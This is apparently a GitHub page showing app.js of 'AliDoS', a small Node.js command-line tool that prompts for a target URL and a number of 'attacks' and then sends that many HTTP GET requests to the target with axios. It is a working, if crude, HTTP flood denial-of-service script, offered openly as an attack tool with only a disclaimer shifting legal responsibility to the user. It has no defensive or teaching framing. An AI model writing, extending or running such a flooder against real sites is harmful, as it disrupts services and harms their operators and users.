-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathapp.js
More file actions
67 lines (54 loc) · 1.94 KB
/
Copy pathapp.js
File metadata and controls
67 lines (54 loc) · 1.94 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
// importing modules
import axios from 'axios'
import rl from 'readline'
// clearing console
const blank = '\n'.repeat(process.stdout.rows)
console.log(blank)
rl.cursorTo(process.stdout, 0, 0)
rl.clearScreenDown(process.stdout)
// headers
console.log('\x1b[41m%s\x1b[0m', 'AliDoS'); //background-red
console.log('\x1b[4m%s\x1b[0m', 'By using this application you assume all legal and other responsibilities.\n'); //cyan
// configration of modules
var readline = rl.createInterface({
input: process.stdin,
output: process.stdout
});
// App - Main
async function loggingVariables(varObject) {
await console.log('\x1b[44m%s\x1b[0m', varObject);
}
function isValidUrl(str) {
var regex = /(http|https):\/\/(\w+:{0,1}\w*)?(\S+)(:[0-9]+)?(\/|\/([\w#!:.?+=&%!\-\/]))?/;
if(!regex .test(str)) {
return false;
} else {
return true;
}
}
readline.question("What's the target url? ", targetUrl =>{
const targetUrlIsValid = isValidUrl(targetUrl);
if (!targetUrlIsValid) {
console.log('\x1b[41m%s\x1b[0m', 'Error: Not a valid url'); //background-red
}
loggingVariables(targetUrl).then(()=>{
readline.question("Attacks of number? ", targetAttackNumber=>{
const isNumericAttackNumberInput = isNaN(targetAttackNumber)
if (!targetAttackNumber) {
console.log('\x1b[41m%s\x1b[0m', 'Error: Please enter number '); //background-red
}
loggingVariables(targetAttackNumber).then(()=>{
for (var i = 0; i < targetAttackNumber; i++) {
axios.all([
axios.get(targetUrl),
]).then(axios.spread((response) => {
console.log('\x1b[42m%s\x1b[0m', `${response.statusText} Status: ${response.status} Url: ${response.config.url}`); //cyan
})).catch(error => {
console.log('\x1b[41m%s\x1b[0m', error); //background-red
});
}
})
readline.close()
})
})
})